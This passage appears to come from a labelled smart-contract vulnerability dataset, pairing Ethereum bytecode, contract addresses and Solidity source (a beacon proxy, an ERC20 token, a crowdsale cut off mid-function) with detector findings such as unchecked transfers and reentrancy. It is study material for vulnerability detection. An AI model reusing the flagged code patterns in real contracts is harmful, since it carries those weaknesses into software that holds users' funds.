60206040518083038186803b15801561119b57600080fd5b505afa1580156111af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111d39190810190612cdd565b15156111de57600080fd5b61092281612634565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff88168552909201905281208054841461122657600080fd5b82815560405173ffffffffffffffffffffffffffffffffffffffff86169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906112739087906130cf565b60405180910390a3506001949350505050565b600054760100000000000000000000000000000000000000000000900460ff1681565b6000547501000000000000000000000000000000000000000000900460ff1681565b73ffffffffffffffffffffffffffffffffffffffff808316600090815260026020818152604080842094861684529184019052812054825491929161131091906126a8565b949350505050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916113749133913091903690600401612ff2565b60206040518083038186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506113c49190810190612cdd565b15156113cf57600080fd5b604080517f6901f66800000000000000000000000000000000000000000000000000000000808252915173ffffffffffffffffffffffffffffffffffffffff841691636901f668916004808301926020929190829003018186803b15801561143657600080fd5b505afa15801561144a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061146e9190810190612cfb565b7fffffffff00000000000000000000000000000000000000000000000000000000161461149a57600080fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117825560405190917f1e03f798432da753fa76bd6d807748d894d4e59e05731b05fff74173f35464d191a250565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b600080600080600080600080600080600060159054906101000a900460ff16151561155957600080fd5b60005477010000000000000000000000000000000000000000000000900460ff16151561158557600080fd5b33600090815260026020526040812060019b50995096505b8b5187101561173c578b878151811015156115b457fe5b602090810290910181015173ffffffffffffffffffffffffffffffffffffffff811660009081526002808452604080832033845280830190955290912060038101549181015492995092975060019283019650611633929161161d90429063ffffffff61261416565b81151561162657fe5b049063ffffffff61262416565b8454600386015491945061165e9161165290869063ffffffff61261416565b9063ffffffff6126c116565b91506000821161166d57600080fd5b508354808211156116ce578a1561168357600080fd5b60405160009a50339073ffffffffffffffffffffffffffffffffffffffff8816907f3a2e3d0ecec3142514fb77933d7647fd6c7cf9f76de44841c91ceadaa38a9565908d90a3611731565b81810385556003840183905560405197820197339073ffffffffffffffffffffffffffffffffffffffff8816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117289086906130cf565b60405180910390a35b60019096019561159d565b5050865490950190955550939695505050505050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916117ae9133913091903690600401612ff2565b60206040518083038186803b1580156117c657600080fd5b505afa1580156117da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117fe9190810190612cdd565b151561180957600080fd5b610922816126e6565b6040805180820182528281526000602080830182815233808452600280845286852073ffffffffffffffffffffffffffffffffffffffff8a168087529082018552878620965180516001890155948501519187019190915592860151600386015590516004909401939093559251909291907fa25dcfb713acdeba8b55101aa403f8ce07b4d6f33b0cebf81226fe558a28c56b906111169086906130b3565b600181565b6005805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156107065780601f106106db57610100808354040283529160200191610706565b60008054819081907501000000000000000000000000000000000000000000900460ff16151561195e57600080fd5b600054760100000000000000000000000000000000000000000000900460ff16151561198957600080fd5b8973ffffffffffffffffffffffffffffffffffffffff81163014156119ad57600080fd5b60018d8d8d8d8d8d604051602001808781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184815260200183805190602001908083835b60208310611a5857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611a1b565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140196505050505050506040516020818303038152906040526040518082805190602001908083835b60208310611b1f57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611ae2565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01801990921691161790526040805192909401829003822060008352910192839052611b81945092508b918b91508a90613053565b6020604051602081039080840390855afa158015611ba3573d6000803e3d6000fd5b5050604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015173ffffffffffffffffffffffffffffffffffffffff81166000908152600260205291909120600181015491955093508e1490508015611c3e575073ffffffffffffffffffffffffffffffffffffffff88161580611c3e575073ffffffffffffffffffffffffffffffffffffffff881633145b1515611c4957600080fd5b8273ffffffffffffffffffffffffffffffffffffffff167fceb9e69e536dba286db476863cd607b4a7dd1f8f1c044bf410f2c4306517cc26600184600101600082825401925050819055604051611ca091906130cf565b60405180910390a2611cc9611cbb8b8e63ffffffff61262416565b83549063ffffffff61261416565b825573ffffffffffffffffffffffffffffffffffffffff808c166000818152600260205260409081902080548e0190555190918516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d2c908e906130cf565b60405180910390a38b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8e604051611de191906130cf565b60405180910390a3611e088b73ffffffffffffffffffffffffffffffffffffffff1661275c565b1515611eb857885160441115611e1d57600080fd5b8960248a01528260448a01528a73ffffffffffffffffffffffffffffffffffffffff168960405180828051906020019080838360005b83811015611e6b578181015183820152602001611e53565b50505050905090810190601f168015611e985780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515611eb857600080fd5b5060019c9b505050505050505050505050565b60005477010000000000000000000000000000000000000000000000900460ff1681565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb2591611f4b9133913091903690600401612ff2565b60206040518083038186803b158015611f6357600080fd5b505afa158015611f77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611f9b9190810190612cdd565b1515611fa657600080fd5b61092281612761565b6000805481907501000000000000000000000000000000000000000000900460ff161515611fdc57600080fd5b503360009081526002602052604090208054611ffe908463ffffffff61261416565b815573ffffffffffffffffffffffffffffffffffffffff8416600081815260026020526040908190208054860190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107c69087906130cf565b60008060008060008060159054906101000a900460ff16151561207f57600080fd5b60005477010000000000000000000000000000000000000000000000900460ff1615156120ab57600080fd5b73ffffffffffffffffffffffffffffffffffffffff861660009081526002602081815260408084203385528084019092529092206003810154918101549296506001908101955061210a9290919061161d90429063ffffffff61261416565b835460038501549193506121299161165290859063ffffffff61261416565b90506000811161213857600080fd5b835461214a908263ffffffff61261416565b84553360008181526002602052604090819020805484019055600385018490555173ffffffffffffffffffffffffffffffffffffffff8816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c8e9085906130cf565b600080600080600080600060159054906101000a900460ff1615156121d457600080fd5b336000908152600260205260408120955092505b86518310156122bf576060878481518110151561220157fe5b906020019060200201519060020a90049150868381518110151561222157fe5b602090810290910101516bffffffffffffffffffffffff16905061224b848263ffffffff61262416565b73ffffffffffffffffffffffffffffffffffffffff831660008181526002602052604090819020805485019055519195509033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906122ac9085906130cf565b60405180910390a36001909201916121e8565b84546122d1908563ffffffff61261416565b90945550600195945050505050565b33600081815260026020526040808220600190810180549091019081905590519192917fceb9e69e536dba286db476863cd607b4a7dd1f8f1c044bf410f2c4306517cc269161232e916130cf565b60405180910390a290565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526002602081815260408084209490951683529201909152205490565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090206001015490565b60005474010000000000000000000000000000000000000000900460ff1681565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb259161241a9133913091903690600401612ff2565b60206040518083038186803b15801561243257600080fd5b505afa158015612446573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061246a9190810190612cdd565b151561247557600080fd5b6040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063a9059cbb906124c9908590859060040161302a565b602060405180830381600087803b1580156124e357600080fd5b505af11580156124f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061251b9190810190612cdd565b50505050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000831515021790556040517f0742a23da401b3f99c3da7b7508a78f0faf0098b7e54106be805c671dd91300790612594908390613045565b60405180910390a150565b600080547fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff16760100000000000000000000000000000000000000000000831515021790556040517f8557fc9589f24ba6adfed162065f291fe9d7e55aff6a9b2924dcd6c2cfce875590612594908390613045565b80820382811115610fe857600080fd5b80820182811015610fe857600080fd5b600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000831515021790556040517ff6ff712ce1a864d00b4e395a3226b3b51837947e34df82826504708e4da4739390612594908390613045565b6000818311156126b857816126ba565b825b9392505050565b8181028215806126db57508183828115156126d857fe5b04145b1515610fe857600080fd5b600080547fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff1677010000000000000000000000000000000000000000000000831515021790556040517f93365d0422216fbe0e6a095101b1602da2d51549500da385b7d0920e6eb0db1390612594908390613045565b3b1590565b80517f862d2bb6b8cf31caf965347718f48b7d2ac43dd5af10d2040d8da4fde4f38550906127969060019060208501906127c4565b60405161259491906130a2565b6080604051908101604052806127b7612842565b8152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061280557805160ff1916838001178555612832565b82800160010185558215612832579182015b82811115612832578251825591602001919060010190612817565b5061283e929150612864565b5090565b6060604051908101604052806000815260200160008152602001600081525090565b61287e91905b8082111561283e576000815560010161286a565b90565b60006126ba8235613197565b6000601f8201831361289e57600080fd5b81356128b16128ac82613120565b6130f9565b915081818352602084019350602081019050838560208402820111156128d657600080fd5b60005b8381101561290257816128ec8882612881565b84525060209283019291909101906001016128d9565b5050505092915050565b6000601f8201831361291d57600080fd5b813561292b6128ac82613120565b9150818183526020840193506020810190508385602084028201111561295057600080fd5b60005b8381101561290257816129668882612994565b8452506020928301929190910190600101612953565b60006126ba82356131b0565b60006126ba82516131b0565b60006126ba823561287e565b60006126ba82516131bb565b6000601f820183136129bd57600080fd5b81356129cb6128ac82613141565b915080825260208301602083018583830111156129e757600080fd5b6129f28382846131eb565b50505092915050565b60006126ba82356131e0565b600060608284031215612a1957600080fd5b612a2360606130f9565b90506000612a318484612994565b8252506020612a4284848301612994565b6020830152506040612a5684828501612994565b60408301525092915050565b60006126ba82356131b5565b600060208284031215612a8057600080fd5b60006113108484612881565b60008060408385031215612a9f57600080fd5b6000612aab8585612881565b9250506020612abc85828601612881565b9150509250929050565b600080600060608486031215612adb57600080fd5b6000612ae78686612881565b9350506020612af886828701612881565b9250506040612b0986828701612994565b9150509250925092565b60008060808385031215612b2657600080fd5b6000612b328585612881565b9250506020612abc85828601612a07565b60008060408385031215612b5657600080fd5b6000612b628585612881565b9250506020612abc85828601612994565b600080600060608486031215612b8857600080fd5b6000612b948686612881565b9350506020612ba586828701612994565b9250506040612b098682870161297c565b600080600060608486031215612bcb57600080fd5b6000612bd78686612881565b9350506020612be886828701612994565b925050604084013567ffffffffffffffff811115612c0557600080fd5b612b09868287016129ac565b600080600060608486031215612c2657600080fd5b6000612c328686612881565b9350506020612af886828701612994565b60008060408385031215612c5657600080fd5b823567ffffffffffffffff811115612c6d57600080fd5b612c798582860161288d565b9250506020612abc8582860161297c565b600060208284031215612c9c57600080fd5b813567ffffffffffffffff811115612cb357600080fd5b6113108482850161290c565b600060208284031215612cd157600080fd5b6000611310848461297c565b600060208284031215612cef57600080fd5b60006113108484612988565b600060208284031215612d0d57600080fd5b600061131084846129a0565b600080600060608486031215612d2e57600080fd5b6000612ae786866129fb565b600060208284031215612d4c57600080fd5b600061131084846129fb565b600060208284031215612d6a57600080fd5b813567ffffffffffffffff811115612d8157600080fd5b611310848285016129ac565b60008060008060008060008060006101208a8c031215612dac57600080fd5b6000612db88c8c612994565b9950506020612dc98c828d01612994565b9850506040612dda8c828d01612881565b9750506060612deb8c828d01612994565b96505060808a013567ffffffffffffffff811115612e0857600080fd5b612e148c828d016129ac565b95505060a0612e258c828d01612881565b94505060c0612e368c828d01612a62565b93505060e0612e478c828d01612994565b925050610100612e598c828d01612994565b9150509295985092959850929598565b612e7281613197565b82525050565b612e72816131b0565b612e728161287e565b6000828452602084019350612ea08385846131eb565b612ea983613223565b9093019392505050565b612e72816131e0565b6000612ec782613193565b808452612edb8160208601602086016131f7565b612ee481613223565b9093016020019392505050565b600081546001811660008114612f0e5760018114612f4a57612f86565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0082166020860152604085019250612f86565b60028204808652602086019550612f6085613187565b60005b82811015612f7f57815488820152600190910190602001612f63565b8701945050505b505092915050565b80516060830190612f9f8482612e81565b506020820151612fb26020850182612e81565b50604082015161251b6040850182612e81565b80516080830190612fd68482612f8e565b50602082015161251b6060850182612e81565b612e72816131b5565b606081016130008287612e69565b61300d6020830186612eb3565b8181036040830152613020818486612e8a565b9695505050505050565b604081016130388285612e69565b6126ba6020830184612e81565b60208101610fe88284612e78565b608081016130618287612e81565b61306e6020830186612fe9565b61307b6040830185612e81565b6130886060830184612e81565b95945050505050565b602080825281016126ba8184612ebc565b602080825281016126ba8184612ef1565b60608101610fe88284612f8e565b60808101610fe88284612fc5565b60208101610fe88284612e81565b604081016130388285612e81565b60208101610fe88284612fe9565b60405181810167ffffffffffffffff8111828210171561311857600080fd5b604052919050565b600067ffffffffffffffff82111561313757600080fd5b5060209081020190565b600067ffffffffffffffff82111561315857600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b60ff1690565b7fffffffff000000000000000000000000000000000000000000000000000000001690565b6000610fe882613197565b82818337506000910152565b60005b838110156132125781810151838201526020016131fa565b8381111561251b5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a7230582061bca3bd9f8bd287d3f4ba2fc3cc572054786215f24214b7cea56d6e80c9ba646c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,566
0xC58641aE25D1E368393cad5CCe2CcA3C80D8fFF6
pragma solidity ^0.6.6; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) public payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon, data); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).implementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed"); } } }
0x6080604052366100135761001161001d565b005b61001b61001d565b005b610025610037565b610035610030610039565b6100c8565b565b565b60006100436100ee565b73ffffffffffffffffffffffffffffffffffffffff16635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561008857600080fd5b505afa15801561009c573d6000803e3d6000fd5b505050506040513d60208110156100b257600080fd5b8101908080519060200190929190505050905090565b3660008037600080366000845af43d6000803e80600081146100e9573d6000f35b3d6000fd5b6000807fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b9050805491505090565b600080823b905060008111915050919050565b606061013d8461011f565b610192576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061032e6026913960400191505060405180910390fd5b600060608573ffffffffffffffffffffffffffffffffffffffff16856040518082805190602001908083835b602083106101e157805182526020820191506020810190506020830392506101be565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610241576040519150601f19603f3d011682016040523d82523d6000602084013e610246565b606091505b5091509150610256828286610261565b925050509392505050565b6060831561027157829050610326565b6000835111156102845782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156102eb5780820151818401526020810190506102d0565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a26469706673582212202492f92a6a07f7c1fbb437ee3ef8377240eb7f25b79973f195740336b99cbf2f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,567
0xfefb0571739844377e2ac29be930146a940cb504
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract EnkronosToken is StandardToken { string public name = 'EnkronosToken'; string public symbol = 'ENK'; uint8 public decimals = 18; uint public INITIAL_SUPPLY = 500000000000000000000000000; function EnkronosToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, 